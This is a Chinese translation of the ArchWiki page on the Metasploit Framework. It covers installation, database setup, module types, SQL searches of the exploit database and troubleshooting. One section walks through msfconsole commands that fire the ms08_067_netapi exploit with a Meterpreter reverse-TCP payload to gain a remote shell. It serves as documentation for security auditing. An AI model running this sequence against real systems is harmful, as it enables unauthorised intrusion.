Metasploit 框架

来自 ArchWiki

本文或章节需要扩充。

原因: Meterpreter;更多/更好的 SQL 搜索示例;更多命令;模块开发;(在 Talk:Metasploit Framework 中讨论)

来自 官方网站[死链 2024-10-12 ⓘ]

请将 MSF 视为当今安全专业人员可以免费使用的最有用的审计工具之一。从各种商业级漏洞和广泛的漏洞开发环境,一直到网络信息收集工具和 Web 漏洞插件。Metasploit 框架提供了一个真正令人印象深刻的工作环境。MSF 远不止是漏洞的集合,它还是一个您可以构建和利用的基础设施,以满足您的自定义需求。这使您可以专注于您独特的环境,而无需重新发明轮子。

目前,Metasploit 需要在目标系统上设置和配置 PostgreSQL 才能工作。本 Wiki 将展示如何使 Metasploit 与 PostgreSQL 数据库一起工作。

安装

安装软件包 metasploit。 可选地按照以下 RVM 设置说明进行操作。对于最新的开发版本,请安装 metasploit-gitAUR 代替。

Armitage

Armitage 是 Metasploit 的图形用户界面前端,用 Java 编写;可以使用 armitage-gitAUR 软件包安装。

当运行 Armitage 时,#设置数据库 不是可选的,并且必须遵循。还必须使用 ~/.msf4/database.yml 文件。

Armitage 软件包中包含一个示例 database.yml 文件,路径为 /usr/share/metasploit/database.yml.sample

RVM

Msfconsole 需要 Ruby 和一些 Ruby#RubyGems 才能无错误运行。

按照 RVM#安装RVM#使用 RVM 文章安装和使用 Ruby 3.1.5 版本(参见 Metasploit Git 仓库)并将其设置为默认。

完成后,source 新创建的 RVM 安装

$ source ~/.rvm/scripts/rvm

现在 cd 进入 /opt/metasploit 并使用 Ruby#Bundler 安装运行 Msfconsole 所需的所有 gems

$ gem install bundler
$ bundle install
注意: 使用低于 2.3.1 的 Ruby 版本将导致无法安装 metasploit-concern gem。

设置数据库

注意: 必须从 msfconsole 运行的命令在本文章中将以 msf > 为前缀。

Metasploit 可以在没有数据库的情况下使用,但像搜索这样的缓存操作会非常慢。本节介绍如何使用 Postgresql 数据库服务器设置 Metasploit。

注意: 如果您正在使用 #Armitage 前端,则数据库是强制性的。

按照 PostgreSQL 文章设置/启动服务。服务启动并运行后,运行 

msfdb init --connection-string=postgresql://postgres@localhost:5432/postgres

数据库现在应该已正确初始化,并且在运行 msfconsole 时应自动建立连接。

注意: 数据库缓存只需要构建一次。稍后在启动时,msfconsole 将显示 [*] 在后台重建模块缓存...,但实际上它只会更新更改。如果数据库没有更改,则只需半秒钟。

运行 db_status 以验证数据库连接是否正确建立

msf > db_status
[*] postgresql connected to msf

用法

Metasploit 有多个可用的界面。本节将解释如何使用 msfconsole,该界面提供 MSF 中可用的大多数功能。

要启动它,只需键入 msfconsole。提示符将更改为 msf >,以指示它正在等待命令。

提示: 除了下面解释的其他 Metasploit 命令外,$PATH 中找到的所有常规 shell 命令和脚本也可用!(别名除外)

模块类型

Metasploit 中的所有内容(脚本、文件、程序等)都是模块。共有 6 种模块类型

  • auxiliary - 用于帮助攻击者执行各种任务的模块,例如 端口扫描、版本检测或网络流量分析
  • exploit - 利用漏洞并允许执行 payload 的代码,例如触发缓冲区溢出或绕过身份验证
  • payload - 在成功利用漏洞后必须执行的操作,例如建立远程连接、启动 meterpreter 会话或执行一些 shell 命令
  • post - 成功利用漏洞和远程连接后可以运行的各种程序,例如收集密码、设置键盘记录器或下载文件
  • encoder - 用于执行加密的程序
  • nop - NOP 生成器。NOP 是一种汇编语言指令,它只是什么也不做。此指令的机器代码在每个硬件架构上都不同。NOP 指令对于填充可执行文件中的空白很有用。

搜索漏洞

要发现目标运行的操作系统和软件版本,请执行 端口扫描。 有了这些信息,请使用 search 命令搜索可用的漏洞。

要搜索 Linux 平台上所有针对 Novell 的漏洞

msf > search platform:linux type:exploit name:Novell

要搜索 Linux 平台上包含关键字 Apache 的所有漏洞,并使用 grep 过滤结果

msf > grep RCE search platform:linux type:exploit Apache

要搜索特定字段,请键入其名称,后跟列和短语。以下搜索字段可用

搜索字段 匹配项 可能的值 数据库表 & 列
app 被动(客户端)或主动(服务器)漏洞 client, server module_details.stance
author 模块作者的姓名和电子邮件 任何短语 module_authors.name
type 模块类型 auxiliary, exploit, payload, post, encoder, nop module_details.mtype
name 路径(名称)和简短描述 任何短语 module_details.fullname, module_details.name
platform 目标硬件或软件平台 bsdi, netware, linux, hpux, irix, osx, bsd, platform, java, javascript, unix, php, firefox, nodejs, ruby, cisco, android, aix, windows, python, solaris module_platforms.name
bid, cve, edb, osvdbref Bugtraq[死链 2023-05-07 ⓘ], CVE, Exploit-DB, OSBDB ID 或任何 漏洞数据库条目 ID 或上游报告 URL 的一部分 module_refs.name
(无字段) 上述所有字段,除了 apptype 任何短语 上述所有字段

有关更高级的搜索查询,请参见 #从数据库搜索#数据库搜索示例

使用漏洞

选择合适的漏洞后,就该开始黑客攻击了!

首先,使用 use 命令选择一个漏洞

msf > use exploit/windows/smb/ms08_067_netapi
注意: ms08_067_netapi 是影响 Windows XP 和 Windows Server 2003 SMB 服务的最流行的漏洞之一。它于 2008 年披露,并被证明在利用禁用防火墙的未修补系统方面非常可靠。

要查看有关模块的信息,请使用 info 命令

msf exploit(ms08_067_netapi) > info exploit/windows/smb/ms08_067_netapi

不带参数运行 info 将显示有关当前所选模块的信息。

要查看所选漏洞的选项,请运行

msf exploit(ms08_067_netapi) > show options
Module options (exploit/windows/smb/ms08_067_netapi):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   RHOST                     yes       The target address
   RPORT    445              yes       Set the SMB service port
   SMBPIPE  BROWSER          yes       The pipe name to use (BROWSER, SRVSVC)

   ...

在利用漏洞之前,必须提供所有必填字段。在这里,只需要指定 RHOST 变量。要为变量赋值,请使用 set 命令

msf exploit(ms08_067_netapi) > set RHOST 192.168.56.102

现在选择 payload

msf exploit(ms08_067_netapi) > set PAYLOAD windows/meterpreter/reverse_tcp
注意: Meterpreter 是一个内置于 Metasploit 的命令 shell,允许攻击者在被利用的系统上运行远程命令。反向 TCP 是一种技术,当被利用的计算机建立回连到利用它的计算机的连接时。

选择 payload(实际上,通常选择模块)将添加更多选项。再次运行 show options

msf exploit(ms08_067_netapi) > show options
Module options (exploit/windows/smb/ms08_067_netapi):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   RHOST    192.168.56.102   yes       The target address
   RPORT    445              yes       Set the SMB service port
   SMBPIPE  BROWSER          yes       The pipe name to use (BROWSER, SRVSVC)

Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique (accepted: seh, thread, process, none)
   LHOST                      yes       The listen address
   LPORT     4444             yes       The listen port

现在将 LHOST 变量分配给您的计算机地址,被利用的计算机将向该地址发送连接请求

msf exploit(ms08_067_netapi) > set LHOST 192.168.56.1

现在启动攻击!

msf exploit(ms08_067_netapi) > exploit

如果幸运的话,您将被放入 Meterpreter 会话,您可以在远程计算机上执行任何操作。

技巧与窍门

从数据库搜索

由于 Metasploit 中的所有内容都存储在数据库中,因此无需 search 前端命令即可轻松进行强大的搜索查询。

要启动数据库界面,请运行

$ psql msf

有关模块的信息存储在 8 个表中

表名 目录
module_details “主”表,描述每个模块的各种详细信息
module_actions auxiliary 模块的操作名称
module_archs 目标硬件架构或软件平台
module_authors 模块作者的姓名和电子邮件
module_mixins 空 (???)
module_platforms 目标操作系统。另请参见 #按漏洞数量统计的平台受欢迎程度
module_refs 各种在线漏洞数据库和报告的参考
module_targets exploit 的目标程序名称和版本
提示: 要查看表包含的详细信息类型(列),请运行 \d+ 表名。例如:\d+ module_details

几乎所有表都有 3 列:iddetail_idname,除了 module_details 表有 16 列。

detail_id 值是指向 module_details 表行的指针。

要查看表的所有内容,请运行

SELECT * FROM table_name;

多个

  • 架构
  • 平台
  • 目标

模块选项

  • 模块类型
  • 立场
  • 特权
  • 路径
  • name
  • 引用名
  • 等级
  • 特权
  • 披露日期

数据库搜索示例

module_details 表包含多列,一次查看所有列不方便。要仅显示有关模块的基本信息

SELECT id, mtype, refname, disclosure_date, rank, stance, name
FROM module_details;

显示有关可用模块的一些信息,包括来自 module_platforms 的平台信息

SELECT module_details.id, mtype, module_platforms.name as platform, refname, DATE(disclosure_date), rank, module_details.name
FROM module_details JOIN module_platforms ON module_details.id = module_platforms.detail_id;

显示 Windows 平台的所有客户端(主动)漏洞

SELECT module_details.id, mtype, module_platforms.name as platform, refname, DATE(disclosure_date), rank, module_details.name
FROM module_details JOIN module_platforms ON module_details.id = module_platforms.detail_id
WHERE module_platforms.name = 'windows'
AND mtype = 'exploit'
AND stance = 'aggressive';

显示 Windows 平台上 rank >= 500 且在 2013 年之后披露的所有漏洞

SELECT module_details.id, mtype, module_platforms.name as platform, refname, DATE(disclosure_date), rank, module_details.name
FROM module_details JOIN module_platforms ON module_details.id = module_platforms.detail_id
WHERE module_platforms.name = 'windows'
AND mtype = 'exploit'
AND rank >= 500
AND disclosure_date >= TIMESTAMP '2013-1-1';

显示 Windows 平台上 rank >= 500 的所有主动(客户端)漏洞,并包含有关模块目标的附加信息

SELECT module_details.id, mtype, module_platforms.name as platform, module_details.name, DATE(disclosure_date), rank, module_targets.name as target
FROM module_details JOIN module_platforms ON module_details.id = module_platforms.detail_id JOIN module_targets on module_details.id = module_targets.detail_id
WHERE module_platforms.name = 'windows'
AND mtype = 'exploit'
AND stance = 'aggressive'
AND rank >= 500
order by target;

按漏洞数量统计的平台受欢迎程度

要查看可能的 platform 值和可用漏洞的数量,请从 psql 运行

SELECT name, count(*)
FROM module_platforms
GROUP BY name
ORDER BY count DESC;

启动时禁用 ASCII 横幅

要禁用横幅,请使用 -q/--quiet 参数运行 msfconsole

$ msfconsole --quiet

在会话之间保留变量值

如果您不希望在选择另一个模块和重新运行 msfconsole 时变量重置,则通过 setg 全局设置它,例如

msf > setg RHOST 192.168.56.102

故障排除

无法在 VNC 查看器中点击

如果您选择 VNC 查看器作为 payload,但无法点击或执行任何操作,则意味着您忘记将 ViewOnly 变量设置为 false。要解决此问题,请重新运行漏洞利用程序,并将变量设置为 false

msf > set ViewOnly false

无法加载此类文件 -- robots (LoadError)

如果您收到如下错误

~/metasploit-framework/lib/metasploit/framework.rb:19:in `require': cannot load such file -- robots (LoadError)
    from ~/metasploit-framework/lib/metasploit/framework.rb:19:in `<top (required)>'
    from ~/metasploit-framework/lib/metasploit/framework/database.rb:1:in `require'
    from ~/metasploit-framework/lib/metasploit/framework/database.rb:1:in `<top (required)>'
    from ~/metasploit-framework/lib/metasploit/framework/parsed_options/base.rb:17:in `require'
    from ~/metasploit-framework/lib/metasploit/framework/parsed_options/base.rb:17:in `<top (required)>'
    from ~/metasploit-framework/lib/metasploit/framework/parsed_options/console.rb:2:in `<top (required)>'
    from /opt/ruby1.9/lib/ruby/gems/1.9.1/gems/activesupport-3.2.19/lib/active_support/inflector/methods.rb:230:in `const_get'
    from /opt/ruby1.9/lib/ruby/gems/1.9.1/gems/activesupport-3.2.19/lib/active_support/inflector/methods.rb:230:in `block in constantize'
    from /opt/ruby1.9/lib/ruby/gems/1.9.1/gems/activesupport-3.2.19/lib/active_support/inflector/methods.rb:229:in `each'
    from /opt/ruby1.9/lib/ruby/gems/1.9.1/gems/activesupport-3.2.19/lib/active_support/inflector/methods.rb:229:in `constantize'
    from /opt/ruby1.9/lib/ruby/gems/1.9.1/gems/activesupport-3.2.19/lib/active_support/core_ext/string/inflections.rb:54:in `constantize'
    from ~/metasploit-framework/lib/metasploit/framework/command/base.rb:73:in `parsed_options_class'
    from ~/metasploit-framework/lib/metasploit/framework/command/base.rb:69:in `parsed_options'
    from ~/metasploit-framework/lib/metasploit/framework/command/base.rb:47:in `require_environment!'
    from ~/metasploit-framework/lib/metasploit/framework/command/base.rb:81:in `start'
    from ./msfconsole:48:in `<main>'

发生这种情况是因为文件 robots.rb 的权限不正确,并且只能由 root 用户读取(请参阅 错误报告

$ ls -l /opt/ruby1.9/lib/ruby/gems/1.9.1/gems/robots-0.10.1/lib
total 4
-rw-r----- 1 root root 3174 Oct 19 16:47 robots.rb

要解决此问题,只需将权限更改为世界可读

# chmod o+r /opt/ruby1.9/lib/ruby/gems/1.9.1/gems/robots-0.10.1/lib/robots.rb

db_connect 静默失败

如果在运行 db_connect 时看不到任何输出,但稍后收到类似这样的消息

[!] Database not connected or cache not built, using slow search

这可能意味着 postgresql 服务未运行。

参见